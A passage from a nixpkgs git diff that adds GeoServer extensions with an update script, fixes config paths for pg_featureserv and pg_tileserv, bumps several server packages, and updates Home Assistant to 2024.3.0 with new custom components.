"sha256-cjVbQ1R2uit/29axZsu88ZiMuwY7mmR5x8XNb9qX8aM="; # wps-download + }; + + # Needs Postrgres configuration or similar. + # See https://docs.geoserver.org/main/en/user/extensions/wps-jdbc/index.html + wps-jdbc = mkGeoserverExtension { + name = "wps-jdbc"; + version = "2.24.2"; # wps-jdbc + hash = "sha256-dJUnh8HZmlu5aqVeFxyR3A8fbXYqbgIqPxIENq4rhfs="; # wps-jdbc + }; + + ysld = mkGeoserverExtension { + name = "ysld"; + version = "2.24.2"; # ysld + hash = "sha256-GLUioofwqoGUw7JQeEhzBG1SRwGUzwqjKvhkOt4TUVw="; # ysld + }; + +} diff --git a/pkgs/servers/geospatial/geoserver/update.sh b/pkgs/servers/geospatial/geoserver/update.sh new file mode 100755 index 0000000000000..e3b2f25fbaa47 --- /dev/null +++ b/pkgs/servers/geospatial/geoserver/update.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env nix-shell +#!nix-shell -I ./. -i bash -p common-updater-scripts jq + +set -eEuo pipefail +test ${DEBUG:-0} -eq 1 && set -x + +# Current version. +LATEST_NIXPKGS_VERSION=$(nix eval --raw .#geoserver.version 2>/dev/null) +UPDATE_NIX_OLD_VERSION=${UPDATE_NIX_OLD_VERSION:-$LATEST_NIXPKGS_VERSION} + +# Maybe future version. +LATEST_GITHUB_VERSION=$(curl -s "https://api.github.com/repos/geoserver/geoserver/releases/latest" | jq -r '.tag_name') +UPDATE_NIX_NEW_VERSION=${UPDATE_NIX_NEW_VERSION:-$LATEST_GITHUB_VERSION} + +SMALLEST_VERSION=$(printf "$UPDATE_NIX_OLD_VERSION\n$UPDATE_NIX_NEW_VERSION" | sort --version-sort | head -n 1) + +if [[ "$SMALLEST_VERSION" == "$UPDATE_NIX_NEW_VERSION" ]]; then + echo "geoserver is up-to-date: $SMALLEST_VERSION" + exit 0 +fi + +echo "Updating geoserver..." +update-source-version geoserver "$UPDATE_NIX_NEW_VERSION" + +cd "$(dirname "$(readlink -f "$0")")" + +EXT_NAMES=($(grep -o -E "hash = .*?; # .*$" ./extensions.nix | sed 's/.* # //' | sort)) + +if [[ $# -gt 0 ]] ; then + EXT_NAMES=(${@:1}) +fi + +for EXT_NAME in "${EXT_NAMES[@]}" ; do + echo "Updating extension $EXT_NAME..." + URL="mirror://sourceforge/geoserver/GeoServer/${UPDATE_NIX_NEW_VERSION}/extensions/geoserver-${UPDATE_NIX_NEW_VERSION}-${EXT_NAME}-plugin.zip" + HASH=$(nix-hash --to-sri --type sha256 $(nix-prefetch-url --unpack "$URL")) + sed -i "s@version = \".*\"; # $EXT_NAME@version = \"$UPDATE_NIX_NEW_VERSION\"; # $EXT_NAME@" ./extensions.nix + sed -i "s@hash = \".*\"; # $EXT_NAME@hash = \"$HASH\"; # $EXT_NAME@" ./extensions.nix +done + +cd - diff --git a/pkgs/servers/geospatial/pg_featureserv/default.nix b/pkgs/servers/geospatial/pg_featureserv/default.nix index b6e68eb946e20..04a226650ac55 100644 --- a/pkgs/servers/geospatial/pg_featureserv/default.nix +++ b/pkgs/servers/geospatial/pg_featureserv/default.nix @@ -13,8 +13,28 @@ buildGoModule rec { vendorHash = "sha256-BHiEVyi3FXPovYy3iDP8q+y+LgfI4ElDPVZexd7nnuo="; + postPatch = '' + # fix default configuration file location + substituteInPlace \ + internal/conf/config.go \ + --replace-fail "viper.AddConfigPath(\"/etc\")" "viper.AddConfigPath(\"$out/share/config\")" + + # fix assets location in configuration file + substituteInPlace \ + config/pg_featureserv.toml.example \ + --replace-fail "AssetsPath = \"./assets\"" "AssetsPath = \"$out/share/assets\"" + ''; + ldflags = [ "-s" "-w" "-X github.com/CrunchyData/pg_featureserv/conf.setVersion=${version}" ]; + postInstall = '' + mkdir -p $out/share + cp -r assets $out/share + + mkdir -p $out/share/config + cp config/pg_featureserv.toml.example $out/share/config/pg_featureserv.toml + ''; + meta = with lib; { description = "Lightweight RESTful Geospatial Feature Server for PostGIS in Go"; homepage = "https://github.com/CrunchyData/pg_featureserv"; diff --git a/pkgs/servers/geospatial/pg_tileserv/default.nix b/pkgs/servers/geospatial/pg_tileserv/default.nix index 4f6bac28e87a8..38d59d57b30b5 100644 --- a/pkgs/servers/geospatial/pg_tileserv/default.nix +++ b/pkgs/servers/geospatial/pg_tileserv/default.nix @@ -1,4 +1,4 @@ -{ lib, fetchFromGitHub, fetchpatch, buildGoModule }: +{ lib, fetchFromGitHub, buildGoModule }: buildGoModule rec { pname = "pg_tileserv"; @@ -13,8 +13,28 @@ buildGoModule rec { vendorHash = "sha256-8CvYvoIKOYvR7npCV65ZqZGR8KCTH4GabTt/JGQG3uc="; + postPatch = '' + # fix default configuration file location + substituteInPlace \ + main.go \ + --replace-fail "viper.AddConfigPath(\"/etc\")" "viper.AddConfigPath(\"$out/share/config\")" + + # fix assets location in configuration file + substituteInPlace \ + config/pg_tileserv.toml.example \ + --replace-fail "# AssetsPath = \"/usr/share/pg_tileserv/assets\"" "AssetsPath = \"$out/share/assets\"" + ''; + ldflags = [ "-s" "-w" "-X main.programVersion=${version}" ]; + postInstall = '' + mkdir -p $out/share + cp -r assets $out/share + + mkdir -p $out/share/config + cp config/pg_tileserv.toml.example $out/share/config/pg_tileserv.toml + ''; + doCheck = false; meta = with lib; { diff --git a/pkgs/servers/geospatial/tile38/default.nix b/pkgs/servers/geospatial/tile38/default.nix index e918abf03261b..705fa6b9e726f 100644 --- a/pkgs/servers/geospatial/tile38/default.nix +++ b/pkgs/servers/geospatial/tile38/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "tile38"; - version = "1.32.1"; + version = "1.32.2"; src = fetchFromGitHub { owner = "tidwall"; repo = pname; rev = version; - sha256 = "sha256-hG+ad68Q4KjtovmTlS/63NQxCQ9ZkcC8lrNGfhE9C6U="; + sha256 = "sha256-caOdcPVp1WonAK7QIvG34BxhOH7OGprWQmXEo+nsGKQ="; }; - vendorHash = "sha256-5mkxTumqLP+fEBTwhJrPpteeDPTN9hLEAh6A4l4lQhs="; + vendorHash = "sha256-20zN5ts1jsCDyAolwuygHvkXJdbqGYwSdXh2CY6T1mk="; subPackages = [ "cmd/tile38-cli" "cmd/tile38-server" ]; diff --git a/pkgs/servers/gortr/default.nix b/pkgs/servers/gortr/default.nix index fb365342bd68d..ef569eef53a46 100644 --- a/pkgs/servers/gortr/default.nix +++ b/pkgs/servers/gortr/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "gortr"; - version = "0.14.8"; + version = "0.15.0"; src = fetchFromGitHub { owner = "cloudflare"; repo = pname; rev = "v${version}"; - sha256 = "sha256-3aZf5HINoFIJrN+196kk1lt2S+fN9DlQakwGnkMU5U8="; + sha256 = "sha256-W6+zCLPcORGcRJF0F6/LRPap4SNVn/oKGs21T4nSNO0="; }; vendorHash = null; diff --git a/pkgs/servers/gotosocial/default.nix b/pkgs/servers/gotosocial/default.nix index 85df0a24a63da..3113ed59fc2ee 100644 --- a/pkgs/servers/gotosocial/default.nix +++ b/pkgs/servers/gotosocial/default.nix @@ -9,11 +9,11 @@ let owner = "superseriousbusiness"; repo = "gotosocial"; - version = "0.13.2"; + version = "0.13.3"; web-assets = fetchurl { url = "https://github.com/${owner}/${repo}/releases/download/v${version}/${repo}_${version}_web-assets.tar.gz"; - hash = "sha256-Iyqn0/VyigmOhlyyz1NfvNIXmWtF617QbWzM2c7jHWw="; + hash = "sha256-xC1Acm/CJHXTblV8E63vZB+r/ktBH7EytL7x4eWGko8="; }; in buildGoModule rec { @@ -23,7 +23,7 @@ buildGoModule rec { src = fetchFromGitHub { inherit owner repo; rev = "refs/tags/v${version}"; - hash = "sha256-VQnE4Xff4gtjQ6V2B42zK8UjosBWEMgcL/3Q8S0wc5Q="; + hash = "sha256-zjmIa25veVL0ruFow4c1oV+VtgJGgWrRL99GPdaNc4g"; }; vendorHash = null; @@ -43,6 +43,9 @@ buildGoModule rec { # tests are working only on x86_64-linux doCheck = stdenv.isLinux && stdenv.isx86_64; + # flaky test + checkFlags = [ "-skip=^TestPage/minID,_maxID_and_limit_set$" ]; + passthru.tests.gotosocial = nixosTests.gotosocial; meta = with lib; { diff --git a/pkgs/servers/home-assistant/appdaemon.nix b/pkgs/servers/home-assistant/appdaemon.nix index 89515fa265d34..167e740f21817 100644 --- a/pkgs/servers/home-assistant/appdaemon.nix +++ b/pkgs/servers/home-assistant/appdaemon.nix @@ -8,8 +8,6 @@ python3.pkgs.buildPythonApplication rec { version = "4.4.2"; pyproject = true; - disabled = python3.pythonOlder "3.8"; - src = fetchFromGitHub { owner = "AppDaemon"; repo = "appdaemon"; @@ -17,12 +15,10 @@ python3.pkgs.buildPythonApplication rec { hash = "sha256-T3InE4J4qYeFJTq6nrW8y5BOA7Z0n3t9eVpl641r/xk="; }; - postPatch = '' - # relax dependencies - sed -i 's/~=/>=/' pyproject.toml - ''; + pythonRelaxDeps = true; nativeBuildInputs = with python3.pkgs; [ + pythonRelaxDepsHook setuptools ]; diff --git a/pkgs/servers/home-assistant/component-packages.nix b/pkgs/servers/home-assistant/component-packages.nix index 6b4ebaadb1e8c..b9fc857f211cc 100644 --- a/pkgs/servers/home-assistant/component-packages.nix +++ b/pkgs/servers/home-assistant/component-packages.nix @@ -2,7 +2,7 @@ # Do not edit! { - version = "2024.2.1"; + version = "2024.3.0"; components = { "3_day_blinds" = ps: with ps; [ ]; @@ -19,6 +19,8 @@ "acmeda" = ps: with ps; [ aiopulse ]; + "acomax" = ps: with ps; [ + ]; "actiontec" = ps: with ps; [ ]; "adax" = ps: with ps; [ @@ -224,6 +226,8 @@ "apprise" = ps: with ps; [ apprise ]; + "aprilaire" = ps: with ps; [ + ]; # missing inputs: pyaprilaire "aprs" = ps: with ps; [ aprslib geopy @@ -568,8 +572,7 @@ "brel_home" = ps: with ps; [ ]; "bring" = ps: with ps; [ - python-bring-api - ]; + ]; # missing inputs: bring-api "broadlink" = ps: with ps; [ broadlink ]; @@ -831,6 +834,7 @@ "decora_wifi" = ps: with ps; [ ]; # missing inputs: decora-wifi "default_config" = ps: with ps; [ + aiodhcpwatcher aiodiscover aiohttp-cors aiohttp-fast-url-dispatcher @@ -862,7 +866,6 @@ python-matter-server pyturbojpeg pyudev - scapy securetar sqlalchemy webrtc-noise-gain @@ -929,9 +932,9 @@ pydexcom ]; "dhcp" = ps: with ps; [ + aiodhcpwatcher aiodiscover cached-ipaddress - scapy ]; "diagnostics" = ps: with ps; [ aiohttp-cors @@ -980,7 +983,6 @@ ifaddr psutil-home-assistant sqlalchemy - zeroconf ]; "dlna_dms" = ps: with ps; [ aiohttp-cors @@ -991,7 +993,6 @@ ifaddr psutil-home-assistant sqlalchemy - zeroconf ]; "dnsip" = ps: with ps; [ aiodns @@ -1080,6 +1081,8 @@ "duotecno" = ps: with ps; [ pyduotecno ]; + "duquesne_light" = ps: with ps; [ + ]; "dwd_weather_warnings" = ps: with ps; [ dwdwfsapi ]; @@ -1807,10 +1810,11 @@ aiohttp-fast-url-dispatcher aiohttp-zlib-ng fnv-hash-fast + govee-local-api ifaddr psutil-home-assistant sqlalchemy - ]; # missing inputs: govee-local-api + ]; "gpsd" = ps: with ps; [ gps3 ]; @@ -2130,6 +2134,15 @@ ]; "hurrican_shutters_wholesale" = ps: with ps; [ ]; + "husqvarna_automower" = ps: with ps; [ + aioautomower + aiohttp-cors + aiohttp-fast-url-dispatcher + aiohttp-zlib-ng + fnv-hash-fast + psutil-home-assistant + sqlalchemy + ]; "huum" = ps: with ps; [ huum ]; @@ -2417,7 +2430,6 @@ "joaoapps_join" = ps: with ps; [ ]; # missing inputs: python-join-api "juicenet" = ps: with ps; [ - python-juicenet ]; "justnimbus" = ps: with ps; [ justnimbus @@ -2556,6 +2568,8 @@ krakenex pykrakenapi ]; + "krispol" = ps: with ps; [ + ]; "kulersky" = ps: with ps; [ pykulersky ]; @@ -2731,7 +2745,8 @@ limitlessled ]; "linear_garage_door" = ps: with ps; [ - ]; # missing inputs: linear-garage-door + linear-garage-door + ]; "linksys_smart" = ps: with ps; [ ]; "linode" = ps: with ps; [ @@ -2852,6 +2867,8 @@ psutil-home-assistant sqlalchemy ]; + "madeco" = ps: with ps; [ + ]; "mailbox" = ps: with ps; [ aiohttp-cors aiohttp-fast-url-dispatcher @@ -3018,8 +3035,19 @@ "meteoclimatic" = ps: with ps; [ pymeteoclimatic ]; + "metoffice" = ps: with ps; [ + datapoint + ]; "mfi" = ps: with ps; [ ]; # missing inputs: mficlient + "microbees" = ps: with ps; [ + aiohttp-cors + aiohttp-fast-url-dispatcher + aiohttp-zlib-ng + fnv-hash-fast + psutil-home-assistant + sqlalchemy + ]; # missing inputs: microBeesPy "microsoft" = ps: with ps; [ ]; # missing inputs: pycsspeechtts "microsoft_face" = ps: with ps; [ @@ -3391,10 +3419,10 @@ aiohttp-cors aiohttp-fast-url-dispatcher aiohttp-zlib-ng + aiooui fnv-hash-fast getmac ifaddr - mac-vendor-lookup netmap psutil-home-assistant sqlalchemy @@ -4258,6 +4286,8 @@ "saj" = ps: with ps; [ pysaj ]; + "samsam" = ps: with ps; [ + ]; "samsungtv" = ps: with ps; [ aiohttp-cors aiohttp-fast-url-dispatcher @@ -4271,7 +4301,6 @@ samsungtvws sqlalchemy wakeonlan - zeroconf ] ++ samsungctl.optional-dependencies.websocket ++ samsungtvws.optional-dependencies.async @@ -4722,7 +4751,6 @@ ifaddr psutil-home-assistant sqlalchemy - zeroconf ]; "starline" = ps: with ps; [ starline @@ -4882,8 +4910,9 @@ ifaddr psutil-home-assistant sqlalchemy + systembridgeconnector zeroconf - ]; # missing inputs: systembridgeconnector + ]; "system_health" = ps: with ps; [ aiohttp-cors aiohttp-fast-url-dispatcher @@ -4893,6 +4922,7 @@ ]; "systemmonitor" = ps: with ps; [ psutil + psutil-home-assistant ]; "tado" = ps: with ps; [ python-tado @@ -4911,7 +4941,8 @@ tank-utility ]; "tankerkoenig" = ps: with ps; [ - ]; # missing inputs: aiotankerkoenig + aiotankerkoenig + ]; "tapsaff" = ps: with ps; [ ]; # missing inputs: tapsaff "tasmota" = ps: with ps; [ @@ -4928,7 +4959,8 @@ "tcp" = ps: with ps; [ ]; "technove" = ps: with ps; [ - ]; # missing inputs: python-technove + python-technove + ]; "ted5000" = ps: with ps; [ xmltodict ]; @@ -5322,7 +5354,6 @@ ifaddr psutil-home-assistant sqlalchemy - zeroconf ]; "uprise_smart_shades" = ps: with ps; [ ]; @@ -5478,6 +5509,8 @@ "weatherflow" = ps: with ps; [ pyweatherflowudp ]; + "weatherflow_cloud" = ps: with ps; [ + ]; # missing inputs: weatherflow4py "weatherkit" = ps: with ps; [ apple-weatherkit ]; @@ -5486,6 +5519,8 @@ aiohttp-fast-url-dispatcher aiohttp-zlib-ng ]; + "webmin" = ps: with ps; [ + ]; # missing inputs: webmin-xmlrpc "webostv" = ps: with ps; [ aiowebostv ]; @@ -5547,7 +5582,7 @@ wled ]; "wolflink" = ps: with ps; [ - ]; # missing inputs: wolf-smartset + ]; # missing inputs: wolf-comm "workday" = ps: with ps; [ holidays ]; @@ -5685,7 +5720,6 @@ ifaddr psutil-home-assistant sqlalchemy - zeroconf ]; "yandex_transport" = ps: with ps; [ aioymaps @@ -5705,7 +5739,6 @@ psutil-home-assistant sqlalchemy yeelight - zeroconf ]; "yeelightsunflower" = ps: with ps; [ ]; # missing inputs: yeelightsunflower @@ -5789,6 +5822,8 @@ ]; # missing inputs: ziggo-mediabox-xl "zodiac" = ps: with ps; [ ]; + "zondergas" = ps: with ps; [ + ]; "zone" = ps: with ps; [ ]; "zoneminder" = ps: with ps; [ @@ -5866,6 +5901,7 @@ "arcam_fmj" "aseko_pool_live" "assist_pipeline" + "asterisk_mbox" "asuswrt" "atag" "august" @@ -5897,7 +5933,6 @@ "bond" "bosch_shc" "braviatv" - "bring" "broadlink" "brother" "brottsplatskartan" @@ -6072,6 +6107,7 @@ "google_travel_time" "google_wifi" "govee_ble" + "govee_light_local" "gpsd" "gpslogger" "graphite" @@ -6115,6 +6151,7 @@ "huisbaasje" "humidifier" "hunterdouglas_powerview" + "husqvarna_automower" "huum" "hvv_departures" "hydrawise" @@ -6181,6 +6218,7 @@ "life360" "lifx" "light" + "linear_garage_door" "litterrobot" "livisi" "local_calendar" @@ -6220,6 +6258,7 @@ "met_eireann" "meteo_france" "meteoclimatic" + "metoffice" "microsoft_face" "microsoft_face_detect" "microsoft_face_identify" @@ -6480,6 +6519,7 @@ "syncthing" "syncthru" "synology_dsm" + "system_bridge" "system_health" "system_log" "systemmonitor" @@ -6487,9 +6527,11 @@ "tag" "tailscale" "tailwind" + "tankerkoenig" "tasmota" "tautulli" "tcp" + "technove" "tedee" "telegram" "telegram_bot" @@ -6556,6 +6598,7 @@ "vallox" "valve" "velbus" + "velux" "venstar" "vera" "verisure" diff --git a/pkgs/servers/home-assistant/custom-components/auth-header/default.nix b/pkgs/servers/home-assistant/custom-components/auth-header/default.nix new file mode 100644 index 0000000000000..9062b138590c7 --- /dev/null +++ b/pkgs/servers/home-assistant/custom-components/auth-header/default.nix @@ -0,0 +1,27 @@ +{ lib +, buildHomeAssistantComponent +, fetchFromGitHub +}: + +buildHomeAssistantComponent rec { + owner = "BeryJu"; + domain = "auth_header"; + version = "1.10-unstable-2024-02-26"; + + src = fetchFromGitHub { + inherit owner; + repo = "hass-auth-header"; + rev = "5923cb33b57a9d3c23513d54cc74b02ebd243409"; + hash = "sha256-ZYd1EduzoljaY3OnpjsKEAwtf03435zJmZtgqzbdjjA="; + }; + + # build step just runs linter + dontBuild = true; + + meta = with lib; { + description = "Home Assistant custom component which allows you to delegate authentication to a reverse proxy"; + homepage = "https://github.com/BeryJu/hass-auth-header"; + maintainers = with maintainers; [ mjm ]; + license = licenses.gpl3; + }; +} diff --git a/pkgs/servers/home-assistant/custom-components/better_thermostat/default.nix b/pkgs/servers/home-assistant/custom-components/better_thermostat/default.nix new file mode 100644 index 0000000000000..a4a514b2693c1 --- /dev/null +++ b/pkgs/servers/home-assistant/custom-components/better_thermostat/default.nix @@ -0,0 +1,24 @@ +{ lib, fetchFromGitHub, buildHomeAssistantComponent }: + +buildHomeAssistantComponent rec { + owner = "KartoffelToby"; + domain = "better_thermostat"; + version = "1.5.0-beta7"; + + src = fetchFromGitHub { + owner = "KartoffelToby"; + repo = "better_thermostat"; + rev = "refs/tags/${version}"; + hash = "sha256-bJURpeBgoxXGR7C9MY/gmNY7OFvBxrJKz2cA61b5hNo="; + }; + + meta = with lib; { + changelog = + "https://github.com/KartoffelToby/better_thermostat/releases/tag/${version}"; + description = + "Smart TRV control integrates room-temp sensors, window/door sensors, weather forecasts, and ambient probes for efficient heating and calibration, enhancing energy savings and comfort."; + homepage = "https://better-thermostat.org/"; + maintainers = with maintainers; [ mguentner ]; + license = licenses.agpl3; + }; +} diff --git a/pkgs/servers/home-assistant/custom-components/default.nix b/pkgs/servers/home-assistant/custom-components/default.nix index 7a2cd3776a9a8..81e708b637bc9 100644 --- a/pkgs/servers/home-assistant/custom-components/default.nix +++ b/pkgs/servers/home-assistant/custom-components/default.nix @@ -4,6 +4,10 @@ { adaptive_lighting = callPackage ./adaptive_lighting {}; + auth-header = callPackage ./auth-header {}; + + better_thermostat = callPackage ./better_thermostat {}; + emporia_vue = callPackage ./emporia_vue {}; govee-lan = callPackage ./govee-lan {}; diff --git a/pkgs/servers/home-assistant/custom-components/gpio/default.nix b/pkgs/servers/home-assistant/custom-components/gpio/default.nix index 98cf56a3b52a0..ff06822d664aa 100644 --- a/pkgs/servers/home-assistant/custom-components/gpio/default.nix +++ b/pkgs/servers/home-assistant/custom-components/gpio/default.nix @@ -7,14 +7,14 @@ buildHomeAssistantComponent rec { owner = "raboof"; domain = "gpio"; - version = "0.0.2"; + version = "0.0.4"; src = fetchFromGitea { domain = "codeberg.org"; owner = "raboof"; repo = "ha-gpio"; rev = "v${version}"; - hash = "sha256-oito5W7uQYgxUQFIynW9G7jbIpmFONWC8FslRdX3gsE="; + hash = "sha256-JyyJPI0lbZLJj+016WgS1KXU5rnxUmRMafel4/wKsYk="; }; propagatedBuildInputs = [ libgpiod ]; diff --git a/pkgs/servers/home-assistant/custom-lovelace-modules/default.nix b/pkgs/servers/home-assistant/custom-lovelace-modules/default.nix index 49bdb62ad85e0..f7dbc32c8e935 100644 --- a/pkgs/servers/home-assistant/custom-lovelace-modules/default.nix +++ b/pkgs/servers/home-assistant/custom-lovelace-modules/default.nix @@ -8,6 +8,8 @@ mini-media-player = callPackage ./mini-media-player {}; + multiple-entity-row = callPackage ./multiple-entity-row { }; + mushroom = callPackage ./mushroom { }; zigbee2mqtt-networkmap = callPackage ./zigbee2mqtt-networkmap { }; diff --git a/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/default.nix b/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/default.nix new file mode 100644 index 0000000000000..0ba1bcec0cc65 --- /dev/null +++ b/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/default.nix @@ -0,0 +1,51 @@ +{ lib +, mkYarnPackage +, fetchFromGitHub +, fetchYarnDeps +}: + +mkYarnPackage rec { + pname = "multiple-entity-row"; + version = "4.5.1"; + + src = fetchFromGitHub { + owner = "benct"; + repo = "lovelace-multiple-entity-row"; + rev = "v${version}"; + hash = "sha256-CXRgXyH1NUg7ssQhenqP0tXr1m2qOkHna3Rf30K3SjI="; + }; + + packageJSON = ./package.json; + + offlineCache = fetchYarnDeps { + yarnLock = "${src}/yarn.lock"; + hash = "sha256-8YIcQhbYf0e2xO620zVHEk/0sssBmzF/jCq+2za+D6E="; + }; + + buildPhase = '' + runHook preBuild + + yarn --offline build + + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + + mkdir $out + install -m0644 ./deps/multiple-entity-row/multiple-entity-row.js $out + + runHook postInstall + ''; + + doDist = false; + + meta = with lib; { + description = "Show multiple entity states and attributes on entity rows in Home Assistant's Lovelace UI"; + homepage = "https://github.com/benct/lovelace-multiple-entity-row"; + changelog = "https://github.com/benct/lovelace-multiple-entity-row/blob/${src.rev}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ hexa ]; + }; +} diff --git a/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/package.json b/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/package.json new file mode 100644 index 0000000000000..28a6d7b3bb865 --- /dev/null +++ b/pkgs/servers/home-assistant/custom-lovelace-modules/multiple-entity-row/package.json @@ -0,0 +1,39 @@ +{ + "name": "multiple-entity-row", + "version": "4.5.1", + "description": "Show multiple entity states, attributes and icons on entity rows in Home Assistant's Lovelace UI", + "keywords": [ + "home-assistant", + "homeassistant", + "lovelace", + "custom-cards", + "multiple", + "entity", + "row" + ], + "module": "multiple-entity-row.js", + "repository": "https://github.com/benct/lovelace-multiple-entity-row.git", + "author": "benct <ben@tomlin.no>", + "license": "MIT", + "dependencies": { + "custom-card-helpers": "1.8.0", + "lit": "^2.7.4", + "memoize-one": "^6.0.0" + }, + "devDependencies": { + "@babel/core": "^7.22.1", + "@babel/preset-env": "^7.22.4", + "babel-loader": "^9.1.2", + "eslint": "^8.41.0", + "eslint-config-prettier": "^8.8.0", + "eslint-plugin-prettier": "^4.2.1", + "prettier": "^2.8.8", + "webpack": "^5.84.1", + "webpack-cli": "^5.1.1" + }, + "scripts": { + "lint": "eslint src/**/*.js", + "dev": "webpack -c webpack.config.js", + "build": "yarn lint && webpack -c webpack.config.js" + } +} diff --git a/pkgs/servers/home-assistant/custom-lovelace-modules/mushroom/default.nix b/pkgs/servers/home-assistant/custom-lovelace-modules/mushroom/default.nix index 9c1df1db27dbb..ad89a24b6603f 100644 --- a/pkgs/servers/home-assistant/custom-lovelace-modules/mushroom/default.nix +++ b/pkgs/servers/home-assistant/custom-lovelace-modules/mushroom/default.nix @@ -5,16 +5,16 @@ buildNpmPackage rec { pname = "mushroom"; - version = "3.4.0"; + version = "3.5.2"; src = fetchFromGitHub { owner = "piitaya"; repo = "lovelace-mushroom"; rev = "v${version}"; - hash = "sha256-XVi+VPOVHfYBlIY9xN7x9Qe1bVw/qS9p8bcRZb0ksE0="; + hash = "sha256-mVodC7IEk1Y9ppMdDRXK/8cxQkW+uaC2RzQFnMwNvTQ="; }; - npmDepsHash = "sha256-XtSeO5+RaBCBLmq6paRX9KipkhcEdJhzrQeEDdysZE0="; + npmDepsHash = "sha256-g8A8zm7GyASOpuoxuOYGcyUVa6RBc9LGoYLqcFcT64c="; installPhase = '' runHook preInstall diff --git a/pkgs/servers/home-assistant/default.nix b/pkgs/servers/home-assistant/default.nix index 9eaafce6eac96..07b11ee1bf5f2 100644 --- a/pkgs/servers/home-assistant/default.nix +++ b/pkgs/servers/home-assistant/default.nix @@ -3,7 +3,6 @@ , callPackage , fetchFromGitHub , fetchPypi -, fetchpatch , python311 , substituteAll , ffmpeg-headless @@ -46,23 +45,6 @@ let ]; }); - aionotion = super.aionotion.overridePythonAttrs (oldAttrs: rec { - version = "2023.05.5"; - src = fetchFromGitHub { - owner = "bachya"; - repo = "aionotion"; - rev = "refs/tags/${version}"; - hash = "sha256-/2sF8m5R8YXkP89bi5zR3h13r5LrFOl1OsixAcX0D4o="; - }; - patches = [ - (fetchpatch { - # clean up build dependencies; https://github.com/bachya/aionotion/commit/53c7285110d12810f9b43284295f71d052a81b83 - url = "https://github.com/bachya/aionotion/commit/53c7285110d12810f9b43284295f71d052a81b83.patch"; - hash = "sha256-RLRbHmaR2A8MNc96WHx0L8ccyygoBUaOulAuRJkFuUM="; - }) - ]; - }); - aiopurpleair = super.aiopurpleair.overridePythonAttrs (oldAttrs: rec { version = "2022.12.1"; src = fetchFromGitHub { @@ -78,16 +60,6 @@ let ''; }); - aiopvapi = super.aiopvapi.overridePythonAttrs (oldAttrs: rec { - version = "2.0.4"; - src = fetchFromGitHub { - owner = "sander76"; - repo = "aio-powerview-api"; - rev = "refs/tags/v${version}"; - hash = "sha256-cghfNi5T343/7GxNLDrE0iAewMlRMycQTP7SvDVpU2M="; - }; - }); - aioskybell = super.aioskybell.overridePythonAttrs (oldAttrs: rec { version = "22.7.0"; src = fetchFromGitHub { @@ -140,6 +112,12 @@ let ]; }); + debugpy = super.debugpy.overridePythonAttrs (oldAttrs: { + # tests are deadlocking too often + # https://github.com/NixOS/nixpkgs/issues/262000 + doCheck = false; + }); + geojson = super.geojson.overridePythonAttrs (oldAttrs: rec { version = "2.5.0"; src = fetchFromGitHub { @@ -324,16 +302,6 @@ let }; }); - python-slugify = super.python-slugify.overridePythonAttrs (oldAttrs: rec { - version = "8.0.1"; - src = fetchFromGitHub { - owner = "un33k"; - repo = "python-slugify"; - rev = "refs/tags/v${version}"; - hash = "sha256-MJac63XjgWdUQdyyEm8O7gAGVszmHxZzRF4frJtR0BU="; - }; - }); - pytradfri = super.pytradfri.overridePythonAttrs (oldAttrs: rec { version = "9.0.1"; src = fetchFromGitHub { @@ -428,7 +396,7 @@ let extraBuildInputs = extraPackages python.pkgs; # Don't forget to run parse-requirements.py after updating - hassVersion = "2024.2.1"; + hassVersion = "2024.3.0"; in python.pkgs.buildPythonApplication rec { pname = "homeassistant"; @@ -446,13 +414,13 @@ in python.pkgs.buildPythonApplication rec { owner = "home-assistant"; repo = "core"; rev = "refs/tags/${version}"; - hash = "sha256-PtBDSxl0744rytMeMOTAj60eERzANzD2dyd4sPivgqQ="; + hash = "sha256-/DCE2IHdS+oImpzwIaFgXotAsoiPPbe3X3HG7RXbv9g="; }; # Secondary source is pypi sdist for translations sdist = fetchPypi { inherit pname version; - hash = "sha256-iLCHoDfZ1gz+LxNxIiKNsSDaL2Taq8B3Huu000eXSxc="; + hash = "sha256-G9M1WV+s4zu9BY10RWmJ71ghafAOHMjnCR6BOlggguM="; }; nativeBuildInputs = with python.pkgs; [ @@ -462,7 +430,10 @@ in python.pkgs.buildPythonApplication rec { pythonRelaxDeps = [ "attrs" + "bcrypt" "ciso8601" + "cryptography" + "httpx" "orjson" "pyopenssl" "typing-extensions" @@ -500,7 +471,7 @@ in python.pkgs.buildPythonApplication rec { aiohttp-fast-url-dispatcher aiohttp-zlib-ng astral - async-timeout + async-interrupt atomicwrites-homeassistant attrs awesomeversion @@ -521,7 +492,9 @@ in python.pkgs.buildPythonApplication rec { python-slugify pyyaml requests + typing-extensions ulid-transform + urllib3 voluptuous voluptuous-serialize yarl @@ -529,7 +502,7 @@ in python.pkgs.buildPythonApplication rec { pyotp pyqrcode # Implicit dependency via homeassistant/requirements.py - setuptools + packaging ]; makeWrapperArgs = lib.optional skipPip "--add-flags --skip-pip"; @@ -559,7 +532,9 @@ in python.pkgs.buildPythonApplication rec { ] ++ lib.concatMap (component: getPackages component python.pkgs) [ # some components are needed even if tests in tests/components are disabled "default_config" + "debugpy" "hue" + "sentry" ]; pytestFlagsArray = [ diff --git a/pkgs/servers/home-assistant/frontend.nix b/pkgs/servers/home-assistant/frontend.nix index 24ee86b9b25f2..1795e8daa7ba0 100644 --- a/pkgs/servers/home-assistant/frontend.nix +++ b/pkgs/servers/home-assistant/frontend.nix @@ -4,7 +4,7 @@ buildPythonPackage rec { # the frontend version corresponding to a specific home-assistant version can be found here # https://github.com/home-assistant/home-assistant/blob/master/homeassistant/components/frontend/manifest.json pname = "home-assistant-frontend"; - version = "20240207.1"; + version = "20240306.0"; format = "wheel"; src = fetchPypi { @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "home_assistant_frontend"; dist = "py3"; python = "py3"; - hash = "sha256-uGBVha7nJvYua1rZXlIJGhUzEm5wSrhazrOBUi3omJk="; + hash = "sha256-eDuJC23PJbjaKC9TBCLg5ML3XR6admKrT9RVgfUQCw8="; }; # there is nothing to strip 